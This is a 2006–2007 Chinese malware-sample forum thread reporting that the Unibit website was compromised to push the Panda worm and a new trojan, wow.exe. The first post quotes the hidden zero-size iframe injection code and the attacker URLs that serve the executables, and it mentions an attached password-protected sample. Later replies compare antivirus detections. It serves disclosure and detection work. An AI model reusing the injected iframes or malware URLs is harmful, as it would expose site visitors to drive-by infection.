优百特网站被挂马，搞到了熊猫病毒和另一新病毒

显示全部楼层 · 发表于 2006-12-20 01:12:14

优百特网站（ht tp://www.unibit.com.cn/products_list.asp?cat=mp3）被挂马了，搞到了熊猫病毒和另一新病毒（wow.exe）
主页里面的<iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>
worm.htm里面的<iframe src=muma.htm width=0 height=0></iframe>

打开会下载下面的病毒文件
ht tp://www.krvkr.com/worm.exe （熊猫病毒主文件）
ht tp://www.whboy.net/update/worm.txt
这个会重定向到ht tp://www.gzstv.com/ad/wow.exe

wow.exe貌似是新病毒，报可疑的多，
AntiVir 7.3.0.19 12.19.2006 HEUR/Crypted
CAT-QuickHeal 8.00 12.19.2006 (Suspicious) - DNAScan
eSafe 7.0.14.0 12.19.2006 Suspicious Trojan/Worm
NOD32v2 1928 12.19.2006 a variant of Win32/Agent.ABF
Panda 9.0.0.4 12.19.2006 Trj/Lineage.BSS
Prevx1 V2 12.19.2006 Trojan.SystemPoser
Sunbelt 2.2.907.0 12.18.2006 VIPRE.Suspicious
VBA32 3.11.1 12.18.2006 suspected of Backdoor.Hupigon.140 (paranoid heuristics)

下面是样本，密码为virus

[ 本帖最后由 ALEXBLAIR 于 2007-1-8 19:04 编辑 ]

显示全部楼层 · 发表于 2006-12-20 04:44:00

Dr.Web 都可以发现它们.

显示全部楼层 · 发表于 2006-12-20 15:12:02

卡巴反应迅速，今天已经可以查杀wow.exe了
Trojan.Win32.Agent.abf

显示全部楼层 · 发表于 2007-1-4 12:22:40

NOD可以发现·没问题

显示全部楼层 · 发表于 2007-1-6 07:04:49

瑞星啥也没法现

[病毒样本] 优百特网站被挂马，搞到了熊猫病毒和另一新病毒

本帖子中包含更多资源

评分

回复 #1 dikex 的帖子